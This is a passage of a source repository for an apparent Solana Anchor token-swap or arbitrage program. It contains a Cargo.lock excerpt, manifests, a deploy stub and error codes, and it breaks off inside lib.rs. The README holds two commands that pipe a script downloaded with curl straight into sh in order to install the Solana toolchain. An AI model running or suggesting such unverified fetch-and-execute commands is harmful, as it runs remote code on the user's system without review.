"registry+https://github.com/rust-lang/crates.io-index" 776 | checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" 777 | dependencies = [ 778 | "cfg-if", 779 | ] 780 | 781 | [[package]] 782 | name = "memchr" 783 | version = "2.4.1" 784 | source = "registry+https://github.com/rust-lang/crates.io-index" 785 | checksum = "308cc39be01b73d0d18f82a0e7b2a3df85245f84af96fdddc5d202d27e47b86a" 786 | 787 | [[package]] 788 | name = "memmap2" 789 | version = "0.5.3" 790 | source = "registry+https://github.com/rust-lang/crates.io-index" 791 | checksum = "057a3db23999c867821a7a59feb06a578fcb03685e983dff90daf9e7d24ac08f" 792 | dependencies = [ 793 | "libc", 794 | ] 795 | 796 | [[package]] 797 | name = "memoffset" 798 | version = "0.6.5" 799 | source = "registry+https://github.com/rust-lang/crates.io-index" 800 | checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce" 801 | dependencies = [ 802 | "autocfg", 803 | ] 804 | 805 | [[package]] 806 | name = "num-derive" 807 | version = "0.3.3" 808 | source = "registry+https://github.com/rust-lang/crates.io-index" 809 | checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d" 810 | dependencies = [ 811 | "proc-macro2", 812 | "quote", 813 | "syn", 814 | ] 815 | 816 | [[package]] 817 | name = "num-traits" 818 | version = "0.2.14" 819 | source = "registry+https://github.com/rust-lang/crates.io-index" 820 | checksum = "9a64b1ec5cda2586e284722486d802acf1f7dbdc623e2bfc57e65ca1cd099290" 821 | dependencies = [ 822 | "autocfg", 823 | ] 824 | 825 | [[package]] 826 | name = "num_enum" 827 | version = "0.5.6" 828 | source = "registry+https://github.com/rust-lang/crates.io-index" 829 | checksum = "720d3ea1055e4e4574c0c0b0f8c3fd4f24c4cdaf465948206dea090b57b526ad" 830 | dependencies = [ 831 | "num_enum_derive", 832 | ] 833 | 834 | [[package]] 835 | name = "num_enum_derive" 836 | version = "0.5.6" 837 | source = "registry+https://github.com/rust-lang/crates.io-index" 838 | checksum = "0d992b768490d7fe0d8586d9b5745f6c49f557da6d81dc982b1d167ad4edbb21" 839 | dependencies = [ 840 | "proc-macro-crate 1.1.3", 841 | "proc-macro2", 842 | "quote", 843 | "syn", 844 | ] 845 | 846 | [[package]] 847 | name = "once_cell" 848 | version = "1.9.0" 849 | source = "registry+https://github.com/rust-lang/crates.io-index" 850 | checksum = "da32515d9f6e6e489d7bc9d84c71b060db7247dc035bbe44eac88cf87486d8d5" 851 | 852 | [[package]] 853 | name = "opaque-debug" 854 | version = "0.3.0" 855 | source = "registry+https://github.com/rust-lang/crates.io-index" 856 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" 857 | 858 | [[package]] 859 | name = "parking_lot" 860 | version = "0.11.2" 861 | source = "registry+https://github.com/rust-lang/crates.io-index" 862 | checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" 863 | dependencies = [ 864 | "instant", 865 | "lock_api", 866 | "parking_lot_core", 867 | ] 868 | 869 | [[package]] 870 | name = "parking_lot_core" 871 | version = "0.8.5" 872 | source = "registry+https://github.com/rust-lang/crates.io-index" 873 | checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216" 874 | dependencies = [ 875 | "cfg-if", 876 | "instant", 877 | "libc", 878 | "redox_syscall", 879 | "smallvec", 880 | "winapi", 881 | ] 882 | 883 | [[package]] 884 | name = "pest" 885 | version = "2.1.3" 886 | source = "registry+https://github.com/rust-lang/crates.io-index" 887 | checksum = "10f4872ae94d7b90ae48754df22fd42ad52ce740b8f370b03da4835417403e53" 888 | dependencies = [ 889 | "ucd-trie", 890 | ] 891 | 892 | [[package]] 893 | name = "ppv-lite86" 894 | version = "0.2.16" 895 | source = "registry+https://github.com/rust-lang/crates.io-index" 896 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" 897 | 898 | [[package]] 899 | name = "proc-macro-crate" 900 | version = "0.1.5" 901 | source = "registry+https://github.com/rust-lang/crates.io-index" 902 | checksum = "1d6ea3c4595b96363c13943497db34af4460fb474a95c43f4446ad341b8c9785" 903 | dependencies = [ 904 | "toml", 905 | ] 906 | 907 | [[package]] 908 | name = "proc-macro-crate" 909 | version = "1.1.3" 910 | source = "registry+https://github.com/rust-lang/crates.io-index" 911 | checksum = "e17d47ce914bf4de440332250b0edd23ce48c005f59fab39d3335866b114f11a" 912 | dependencies = [ 913 | "thiserror", 914 | "toml", 915 | ] 916 | 917 | [[package]] 918 | name = "proc-macro2" 919 | version = "1.0.36" 920 | source = "registry+https://github.com/rust-lang/crates.io-index" 921 | checksum = "c7342d5883fbccae1cc37a2353b09c87c9b0f3afd73f5fb9bba687a1f733b029" 922 | dependencies = [ 923 | "unicode-xid", 924 | ] 925 | 926 | [[package]] 927 | name = "proc-macro2-diagnostics" 928 | version = "0.9.1" 929 | source = "registry+https://github.com/rust-lang/crates.io-index" 930 | checksum = "4bf29726d67464d49fa6224a1d07936a8c08bb3fba727c7493f6cf1616fdaada" 931 | dependencies = [ 932 | "proc-macro2", 933 | "quote", 934 | "syn", 935 | "version_check", 936 | "yansi", 937 | ] 938 | 939 | [[package]] 940 | name = "quote" 941 | version = "1.0.15" 942 | source = "registry+https://github.com/rust-lang/crates.io-index" 943 | checksum = "864d3e96a899863136fc6e99f3d7cae289dafe43bf2c5ac19b70df7210c0a145" 944 | dependencies = [ 945 | "proc-macro2", 946 | ] 947 | 948 | [[package]] 949 | name = "rand" 950 | version = "0.7.3" 951 | source = "registry+https://github.com/rust-lang/crates.io-index" 952 | checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" 953 | dependencies = [ 954 | "getrandom 0.1.16", 955 | "libc", 956 | "rand_chacha", 957 | "rand_core", 958 | "rand_hc", 959 | ] 960 | 961 | [[package]] 962 | name = "rand_chacha" 963 | version = "0.2.2" 964 | source = "registry+https://github.com/rust-lang/crates.io-index" 965 | checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" 966 | dependencies = [ 967 | "ppv-lite86", 968 | "rand_core", 969 | ] 970 | 971 | [[package]] 972 | name = "rand_core" 973 | version = "0.5.1" 974 | source = "registry+https://github.com/rust-lang/crates.io-index" 975 | checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" 976 | dependencies = [ 977 | "getrandom 0.1.16", 978 | ] 979 | 980 | [[package]] 981 | name = "rand_hc" 982 | version = "0.2.0" 983 | source = "registry+https://github.com/rust-lang/crates.io-index" 984 | checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" 985 | dependencies = [ 986 | "rand_core", 987 | ] 988 | 989 | [[package]] 990 | name = "redox_syscall" 991 | version = "0.2.10" 992 | source = "registry+https://github.com/rust-lang/crates.io-index" 993 | checksum = "8383f39639269cde97d255a32bdb68c047337295414940c68bdd30c2e13203ff" 994 | dependencies = [ 995 | "bitflags", 996 | ] 997 | 998 | [[package]] 999 | name = "regex" 1000 | version = "1.5.4" 1001 | source = "registry+https://github.com/rust-lang/crates.io-index" 1002 | checksum = "d07a8629359eb56f1e2fb1652bb04212c072a87ba68546a04065d525673ac461" 1003 | dependencies = [ 1004 | "aho-corasick", 1005 | "memchr", 1006 | "regex-syntax", 1007 | ] 1008 | 1009 | [[package]] 1010 | name = "regex-syntax" 1011 | version = "0.6.25" 1012 | source = "registry+https://github.com/rust-lang/crates.io-index" 1013 | checksum = "f497285884f3fcff424ffc933e56d7cbca511def0c9831a7f9b5f6153e3cc89b" 1014 | 1015 | [[package]] 1016 | name = "rustc_version" 1017 | version = "0.3.3" 1018 | source = "registry+https://github.com/rust-lang/crates.io-index" 1019 | checksum = "f0dfe2087c51c460008730de8b57e6a320782fbfb312e1f4d520e6c6fae155ee" 1020 | dependencies = [ 1021 | "semver 0.11.0", 1022 | ] 1023 | 1024 | [[package]] 1025 | name = "rustc_version" 1026 | version = "0.4.0" 1027 | source = "registry+https://github.com/rust-lang/crates.io-index" 1028 | checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" 1029 | dependencies = [ 1030 | "semver 1.0.6", 1031 | ] 1032 | 1033 | [[package]] 1034 | name = "rustversion" 1035 | version = "1.0.6" 1036 | source = "registry+https://github.com/rust-lang/crates.io-index" 1037 | checksum = "f2cc38e8fa666e2de3c4aba7edeb5ffc5246c1c2ed0e3d17e560aeeba736b23f" 1038 | 1039 | [[package]] 1040 | name = "ryu" 1041 | version = "1.0.9" 1042 | source = "registry+https://github.com/rust-lang/crates.io-index" 1043 | checksum = "73b4b750c782965c211b42f022f59af1fbceabdd026623714f104152f1ec149f" 1044 | 1045 | [[package]] 1046 | name = "safe-transmute" 1047 | version = "0.11.2" 1048 | source = "registry+https://github.com/rust-lang/crates.io-index" 1049 | checksum = "98a01dab6acf992653be49205bdd549f32f17cb2803e8eacf1560bf97259aae8" 1050 | 1051 | [[package]] 1052 | name = "scopeguard" 1053 | version = "1.1.0" 1054 | source = "registry+https://github.com/rust-lang/crates.io-index" 1055 | checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" 1056 | 1057 | [[package]] 1058 | name = "semver" 1059 | version = "0.11.0" 1060 | source = "registry+https://github.com/rust-lang/crates.io-index" 1061 | checksum = "f301af10236f6df4160f7c3f04eec6dbc70ace82d23326abad5edee88801c6b6" 1062 | dependencies = [ 1063 | "semver-parser", 1064 | ] 1065 | 1066 | [[package]] 1067 | name = "semver" 1068 | version = "1.0.6" 1069 | source = "registry+https://github.com/rust-lang/crates.io-index" 1070 | checksum = "a4a3381e03edd24287172047536f20cabde766e2cd3e65e6b00fb3af51c4f38d" 1071 | 1072 | [[package]] 1073 | name = "semver-parser" 1074 | version = "0.10.2" 1075 | source = "registry+https://github.com/rust-lang/crates.io-index" 1076 | checksum = "00b0bef5b7f9e0df16536d3961cfb6e84331c065b4066afb39768d0e319411f7" 1077 | dependencies = [ 1078 | "pest", 1079 | ] 1080 | 1081 | [[package]] 1082 | name = "serde" 1083 | version = "1.0.136" 1084 | source = "registry+https://github.com/rust-lang/crates.io-index" 1085 | checksum = "ce31e24b01e1e524df96f1c2fdd054405f8d7376249a5110886fb4b658484789" 1086 | dependencies = [ 1087 | "serde_derive", 1088 | ] 1089 | 1090 | [[package]] 1091 | name = "serde_bytes" 1092 | version = "0.11.5" 1093 | source = "registry+https://github.com/rust-lang/crates.io-index" 1094 | checksum = "16ae07dd2f88a366f15bd0632ba725227018c69a1c8550a927324f8eb8368bb9" 1095 | dependencies = [ 1096 | "serde", 1097 | ] 1098 | 1099 | [[package]] 1100 | name = "serde_derive" 1101 | version = "1.0.136" 1102 | source = "registry+https://github.com/rust-lang/crates.io-index" 1103 | checksum = "08597e7152fcd306f41838ed3e37be9eaeed2b61c42e2117266a554fab4662f9" 1104 | dependencies = [ 1105 | "proc-macro2", 1106 | "quote", 1107 | "syn", 1108 | ] 1109 | 1110 | [[package]] 1111 | name = "serde_json" 1112 | version = "1.0.79" 1113 | source = "registry+https://github.com/rust-lang/crates.io-index" 1114 | checksum = "8e8d9fa5c3b304765ce1fd9c4c8a3de2c8db365a5b91be52f186efc675681d95" 1115 | dependencies = [ 1116 | "itoa", 1117 | "ryu", 1118 | "serde", 1119 | ] 1120 | 1121 | [[package]] 1122 | name = "serum_dex" 1123 | version = "0.4.0" 1124 | source = "registry+https://github.com/rust-lang/crates.io-index" 1125 | checksum = "02705854bae4622e552346c8edd43ab90c7425da35d63d2c689f39238f8d8b25" 1126 | dependencies = [ 1127 | "arrayref", 1128 | "bincode", 1129 | "bytemuck", 1130 | "byteorder", 1131 | "enumflags2", 1132 | "field-offset", 1133 | "itertools 0.9.0", 1134 | "num-traits", 1135 | "num_enum", 1136 | "safe-transmute", 1137 | "serde", 1138 | "solana-program", 1139 | "spl-token", 1140 | "static_assertions", 1141 | "thiserror", 1142 | "without-alloc", 1143 | ] 1144 | 1145 | [[package]] 1146 | name = "sha2" 1147 | version = "0.9.9" 1148 | source = "registry+https://github.com/rust-lang/crates.io-index" 1149 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" 1150 | dependencies = [ 1151 | "block-buffer 0.9.0", 1152 | "cfg-if", 1153 | "cpufeatures", 1154 | "digest 0.9.0", 1155 | "opaque-debug", 1156 | ] 1157 | 1158 | [[package]] 1159 | name = "sha2" 1160 | version = "0.10.2" 1161 | source = "registry+https://github.com/rust-lang/crates.io-index" 1162 | checksum = "55deaec60f81eefe3cce0dc50bda92d6d8e88f2a27df7c5033b42afeb1ed2676" 1163 | dependencies = [ 1164 | "cfg-if", 1165 | "cpufeatures", 1166 | "digest 0.10.3", 1167 | ] 1168 | 1169 | [[package]] 1170 | name = "sha3" 1171 | version = "0.9.1" 1172 | source = "registry+https://github.com/rust-lang/crates.io-index" 1173 | checksum = "f81199417d4e5de3f04b1e871023acea7389672c4135918f05aa9cbf2f2fa809" 1174 | dependencies = [ 1175 | "block-buffer 0.9.0", 1176 | "digest 0.9.0", 1177 | "keccak", 1178 | "opaque-debug", 1179 | ] 1180 | 1181 | [[package]] 1182 | name = "smallvec" 1183 | version = "1.8.0" 1184 | source = "registry+https://github.com/rust-lang/crates.io-index" 1185 | checksum = "f2dd574626839106c320a323308629dcb1acfc96e32a8cba364ddc61ac23ee83" 1186 | 1187 | [[package]] 1188 | name = "solana-frozen-abi" 1189 | version = "1.9.9" 1190 | source = "registry+https://github.com/rust-lang/crates.io-index" 1191 | checksum = "c94841ed94df9db00ac76a20cf9ca740ee8fb9feb69f6f235531d272a846fa6f" 1192 | dependencies = [ 1193 | "bs58 0.4.0", 1194 | "bv", 1195 | "generic-array", 1196 | "log", 1197 | "memmap2", 1198 | "rustc_version 0.4.0", 1199 | "serde", 1200 | "serde_derive", 1201 | "sha2 0.9.9", 1202 | "solana-frozen-abi-macro", 1203 | "solana-logger", 1204 | "thiserror", 1205 | ] 1206 | 1207 | [[package]] 1208 | name = "solana-frozen-abi-macro" 1209 | version = "1.9.9" 1210 | source = "registry+https://github.com/rust-lang/crates.io-index" 1211 | checksum = "a0f08a1e285cc66e5675139f022cba2787efe29553b0e6e051737028ae264988" 1212 | dependencies = [ 1213 | "proc-macro2", 1214 | "quote", 1215 | "rustc_version 0.4.0", 1216 | "syn", 1217 | ] 1218 | 1219 | [[package]] 1220 | name = "solana-logger" 1221 | version = "1.9.9" 1222 | source = "registry+https://github.com/rust-lang/crates.io-index" 1223 | checksum = "a9fc90ded15ae82e58c4ff0e3b8ac072a4a47905bcd883bfcbfcd2e92545f851" 1224 | dependencies = [ 1225 | "env_logger", 1226 | "lazy_static", 1227 | "log", 1228 | ] 1229 | 1230 | [[package]] 1231 | name = "solana-program" 1232 | version = "1.9.9" 1233 | source = "registry+https://github.com/rust-lang/crates.io-index" 1234 | checksum = "51abcddafe51821256baa3dcffd01f1a16f830ae86783ba5fa0a7f2f073acbd9" 1235 | dependencies = [ 1236 | "base64 0.13.0", 1237 | "bincode", 1238 | "bitflags", 1239 | "blake3", 1240 | "borsh", 1241 | "borsh-derive", 1242 | "bs58 0.4.0", 1243 | "bv", 1244 | "bytemuck", 1245 | "console_error_panic_hook", 1246 | "console_log", 1247 | "curve25519-dalek", 1248 | "getrandom 0.1.16", 1249 | "itertools 0.10.3", 1250 | "js-sys", 1251 | "lazy_static", 1252 | "libsecp256k1", 1253 | "log", 1254 | "num-derive", 1255 | "num-traits", 1256 | "parking_lot", 1257 | "rand", 1258 | "rustc_version 0.4.0", 1259 | "rustversion", 1260 | "serde", 1261 | "serde_bytes", 1262 | "serde_derive", 1263 | "sha2 0.9.9", 1264 | "sha3", 1265 | "solana-frozen-abi", 1266 | "solana-frozen-abi-macro", 1267 | "solana-logger", 1268 | "solana-sdk-macro", 1269 | "thiserror", 1270 | "wasm-bindgen", 1271 | ] 1272 | 1273 | [[package]] 1274 | name = "solana-sdk-macro" 1275 | version = "1.9.9" 1276 | source = "registry+https://github.com/rust-lang/crates.io-index" 1277 | checksum = "5c10a609f6e77f9c8b888a8baae5075c0d59a98ca606933dcea748d10ffe50bf" 1278 | dependencies = [ 1279 | "bs58 0.4.0", 1280 | "proc-macro2", 1281 | "quote", 1282 | "rustversion", 1283 | "syn", 1284 | ] 1285 | 1286 | [[package]] 1287 | name = "spl-associated-token-account" 1288 | version = "1.0.3" 1289 | source = "registry+https://github.com/rust-lang/crates.io-index" 1290 | checksum = "393e2240d521c3dd770806bff25c2c00d761ac962be106e14e22dd912007f428" 1291 | dependencies = [ 1292 | "solana-program", 1293 | "spl-token", 1294 | ] 1295 | 1296 | [[package]] 1297 | name = "spl-token" 1298 | version = "3.3.0" 1299 | source = "registry+https://github.com/rust-lang/crates.io-index" 1300 | checksum = "0cc67166ef99d10c18cb5e9c208901e6d8255c6513bb1f877977eba48e6cc4fb" 1301 | dependencies = [ 1302 | "arrayref", 1303 | "num-derive", 1304 | "num-traits", 1305 | "num_enum", 1306 | "solana-program", 1307 | "thiserror", 1308 | ] 1309 | 1310 | [[package]] 1311 | name = "static_assertions" 1312 | version = "1.1.0" 1313 | source = "registry+https://github.com/rust-lang/crates.io-index" 1314 | checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" 1315 | 1316 | [[package]] 1317 | name = "subtle" 1318 | version = "2.4.1" 1319 | source = "registry+https://github.com/rust-lang/crates.io-index" 1320 | checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" 1321 | 1322 | [[package]] 1323 | name = "syn" 1324 | version = "1.0.86" 1325 | source = "registry+https://github.com/rust-lang/crates.io-index" 1326 | checksum = "8a65b3f4ffa0092e9887669db0eae07941f023991ab58ea44da8fe8e2d511c6b" 1327 | dependencies = [ 1328 | "proc-macro2", 1329 | "quote", 1330 | "unicode-xid", 1331 | ] 1332 | 1333 | [[package]] 1334 | name = "termcolor" 1335 | version = "1.1.2" 1336 | source = "registry+https://github.com/rust-lang/crates.io-index" 1337 | checksum = "2dfed899f0eb03f32ee8c6a0aabdb8a7949659e3466561fc0adf54e26d88c5f4" 1338 | dependencies = [ 1339 | "winapi-util", 1340 | ] 1341 | 1342 | [[package]] 1343 | name = "thiserror" 1344 | version = "1.0.30" 1345 | source = "registry+https://github.com/rust-lang/crates.io-index" 1346 | checksum = "854babe52e4df1653706b98fcfc05843010039b406875930a70e4d9644e5c417" 1347 | dependencies = [ 1348 | "thiserror-impl", 1349 | ] 1350 | 1351 | [[package]] 1352 | name = "thiserror-impl" 1353 | version = "1.0.30" 1354 | source = "registry+https://github.com/rust-lang/crates.io-index" 1355 | checksum = "aa32fd3f627f367fe16f893e2597ae3c05020f8bba2666a4e6ea73d377e5714b" 1356 | dependencies = [ 1357 | "proc-macro2", 1358 | "quote", 1359 | "syn", 1360 | ] 1361 | 1362 | [[package]] 1363 | name = "tmp" 1364 | version = "0.1.0" 1365 | dependencies = [ 1366 | "anchor-lang", 1367 | "anchor-spl", 1368 | "sha2 0.10.2", 1369 | "solana-program", 1370 | ] 1371 | 1372 | [[package]] 1373 | name = "toml" 1374 | version = "0.5.8" 1375 | source = "registry+https://github.com/rust-lang/crates.io-index" 1376 | checksum = "a31142970826733df8241ef35dc040ef98c679ab14d7c3e54d827099b3acecaa" 1377 | dependencies = [ 1378 | "serde", 1379 | ] 1380 | 1381 | [[package]] 1382 | name = "typenum" 1383 | version = "1.15.0" 1384 | source = "registry+https://github.com/rust-lang/crates.io-index" 1385 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987" 1386 | 1387 | [[package]] 1388 | name = "ucd-trie" 1389 | version = "0.1.3" 1390 | source = "registry+https://github.com/rust-lang/crates.io-index" 1391 | checksum = "56dee185309b50d1f11bfedef0fe6d036842e3fb77413abef29f8f8d1c5d4c1c" 1392 | 1393 | [[package]] 1394 | name = "unicode-segmentation" 1395 | version = "1.9.0" 1396 | source = "registry+https://github.com/rust-lang/crates.io-index" 1397 | checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99" 1398 | 1399 | [[package]] 1400 | name = "unicode-xid" 1401 | version = "0.2.2" 1402 | source = "registry+https://github.com/rust-lang/crates.io-index" 1403 | checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" 1404 | 1405 | [[package]] 1406 | name = "version_check" 1407 | version = "0.9.4" 1408 | source = "registry+https://github.com/rust-lang/crates.io-index" 1409 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 1410 | 1411 | [[package]] 1412 | name = "wasi" 1413 | version = "0.9.0+wasi-snapshot-preview1" 1414 | source = "registry+https://github.com/rust-lang/crates.io-index" 1415 | checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" 1416 | 1417 | [[package]] 1418 | name = "wasi" 1419 | version = "0.10.2+wasi-snapshot-preview1" 1420 | source = "registry+https://github.com/rust-lang/crates.io-index" 1421 | checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" 1422 | 1423 | [[package]] 1424 | name = "wasm-bindgen" 1425 | version = "0.2.79" 1426 | source = "registry+https://github.com/rust-lang/crates.io-index" 1427 | checksum = "25f1af7423d8588a3d840681122e72e6a24ddbcb3f0ec385cac0d12d24256c06" 1428 | dependencies = [ 1429 | "cfg-if", 1430 | "wasm-bindgen-macro", 1431 | ] 1432 | 1433 | [[package]] 1434 | name = "wasm-bindgen-backend" 1435 | version = "0.2.79" 1436 | source = "registry+https://github.com/rust-lang/crates.io-index" 1437 | checksum = "8b21c0df030f5a177f3cba22e9bc4322695ec43e7257d865302900290bcdedca" 1438 | dependencies = [ 1439 | "bumpalo", 1440 | "lazy_static", 1441 | "log", 1442 | "proc-macro2", 1443 | "quote", 1444 | "syn", 1445 | "wasm-bindgen-shared", 1446 | ] 1447 | 1448 | [[package]] 1449 | name = "wasm-bindgen-macro" 1450 | version = "0.2.79" 1451 | source = "registry+https://github.com/rust-lang/crates.io-index" 1452 | checksum = "2f4203d69e40a52ee523b2529a773d5ffc1dc0071801c87b3d270b471b80ed01" 1453 | dependencies = [ 1454 | "quote", 1455 | "wasm-bindgen-macro-support", 1456 | ] 1457 | 1458 | [[package]] 1459 | name = "wasm-bindgen-macro-support" 1460 | version = "0.2.79" 1461 | source = "registry+https://github.com/rust-lang/crates.io-index" 1462 | checksum = "bfa8a30d46208db204854cadbb5d4baf5fcf8071ba5bf48190c3e59937962ebc" 1463 | dependencies = [ 1464 | "proc-macro2", 1465 | "quote", 1466 | "syn", 1467 | "wasm-bindgen-backend", 1468 | "wasm-bindgen-shared", 1469 | ] 1470 | 1471 | [[package]] 1472 | name = "wasm-bindgen-shared" 1473 | version = "0.2.79" 1474 | source = "registry+https://github.com/rust-lang/crates.io-index" 1475 | checksum = "3d958d035c4438e28c70e4321a2911302f10135ce78a9c7834c0cab4123d06a2" 1476 | 1477 | [[package]] 1478 | name = "web-sys" 1479 | version = "0.3.56" 1480 | source = "registry+https://github.com/rust-lang/crates.io-index" 1481 | checksum = "c060b319f29dd25724f09a2ba1418f142f539b2be99fbf4d2d5a8f7330afb8eb" 1482 | dependencies = [ 1483 | "js-sys", 1484 | "wasm-bindgen", 1485 | ] 1486 | 1487 | [[package]] 1488 | name = "winapi" 1489 | version = "0.3.9" 1490 | source = "registry+https://github.com/rust-lang/crates.io-index" 1491 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 1492 | dependencies = [ 1493 | "winapi-i686-pc-windows-gnu", 1494 | "winapi-x86_64-pc-windows-gnu", 1495 | ] 1496 | 1497 | [[package]] 1498 | name = "winapi-i686-pc-windows-gnu" 1499 | version = "0.4.0" 1500 | source = "registry+https://github.com/rust-lang/crates.io-index" 1501 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 1502 | 1503 | [[package]] 1504 | name = "winapi-util" 1505 | version = "0.1.5" 1506 | source = "registry+https://github.com/rust-lang/crates.io-index" 1507 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 1508 | dependencies = [ 1509 | "winapi", 1510 | ] 1511 | 1512 | [[package]] 1513 | name = "winapi-x86_64-pc-windows-gnu" 1514 | version = "0.4.0" 1515 | source = "registry+https://github.com/rust-lang/crates.io-index" 1516 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 1517 | 1518 | [[package]] 1519 | name = "without-alloc" 1520 | version = "0.2.1" 1521 | source = "registry+https://github.com/rust-lang/crates.io-index" 1522 | checksum = "5e34736feff52a0b3e5680927e947a4d8fac1f0b80dc8120b080dd8de24d75e2" 1523 | dependencies = [ 1524 | "alloc-traits", 1525 | ] 1526 | 1527 | [[package]] 1528 | name = "yansi" 1529 | version = "0.5.0" 1530 | source = "registry+https://github.com/rust-lang/crates.io-index" 1531 | checksum = "9fc79f4a1e39857fc00c3f662cbf2651c771f00e9c15fe2abc341806bd46bd71" 1532 | 1533 | [[package]] 1534 | name = "zeroize" 1535 | version = "1.3.0" 1536 | source = "registry+https://github.com/rust-lang/crates.io-index" 1537 | checksum = "4756f7db3f7b5574938c3eb1c117038b8e07f95ee6718c0efad4ac21508f1efd" 1538 | -------------------------------------------------------------------------------- /src/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /src/README.md: -------------------------------------------------------------------------------- 1 | # anchor_tokenswap 2 | 3 | - upgrade program: `anchor upgrade --program-id CRQXfRGq3wTkjt7JkqhojPLiKLYLjHPGLebnfiiQB46T ./target/deploy/tmp.so --provider.cluster mainnet --provider.wallet ../../mainnet.key` 4 | - note to update program 5 | - convert to stable cli: `sh -c "$(curl -sSfL https://release.solana.com/stable/install)"` 6 | - convert back for mainnet forking util: `sh -c "$(curl -sSfL https://release.solana.com/v1.9.13/install)"` -------------------------------------------------------------------------------- /src/local_setup.sh: -------------------------------------------------------------------------------- 1 | anchor deploy --provider.cluster localnet --program-name tmp 2 | anchor test --skip-deploy --skip-build --skip-local-validator --provider.cluster localnet 3 | -------------------------------------------------------------------------------- /src/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | } 13 | -------------------------------------------------------------------------------- /src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@project-serum/anchor": "^0.21.0", 4 | "@solana/buffer-layout": "^4.0.0", 5 | "@solana/spl-token": "~0.2.0", 6 | "@solana/spl-token-swap": "^0.1.2", 7 | "decimal.js": "^10.3.1" 8 | }, 9 | "devDependencies": { 10 | "@types/chai": "^4.3.0", 11 | "@types/mocha": "^9.1.0", 12 | "@types/node": "^17.0.21", 13 | "chai": "^4.3.4", 14 | "mocha": "^9.0.3", 15 | "ts-mocha": "^9.0.2", 16 | "typescript": "^4.3.5" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/programs/tmp/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "tmp" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2018" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "tmp" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [dependencies] 19 | anchor-lang = "0.22.1" 20 | solana-program = "1.9.9" 21 | # https://github.com/project-serum/anchor/tree/master/spl 22 | anchor-spl = {version="0.22.1", features=["dex"]} 23 | sha2 = "0.10.2" -------------------------------------------------------------------------------- /src/programs/tmp/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /src/programs/tmp/src/error.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | #[error_code] 4 | pub enum ErrorCode { 5 | #[msg("No Profit at the end. Reverting...")] 6 | NoProfit, 7 | #[msg("Trying to swap when Information is invalid.")] 8 | InvalidState, 9 | #[msg("not enough funds: amount_in > src_balance.")] 10 | NotEnoughFunds, 11 | } -------------------------------------------------------------------------------- /src/programs/tmp/src/ix_data.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | #[derive(AnchorSerialize, AnchorDeserialize)] 4 | pub struct SwapData { 5 | pub instruction: u8, 6 | pub amount_in: u64, 7 | pub minimum_amount_out: u64, 8 | } 9 | -------------------------------------------------------------------------------- /src/programs/tmp/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_spl::{ 3 | token::{TokenAccount} 4 | }; 5 | use anchor_lang::Accounts; 6 | 7 | declare_id!("CRQXfRGq3wTkjt7JkqhojPLiKLYLjHPGLebnfiiQB46T"); 8 | 9 | use state::SwapState; 10 | use error::ErrorCode; 11 | 12 | pub mod error; 13 | pub mod state; 14 | pub mod ix_data; 15 | pub mod 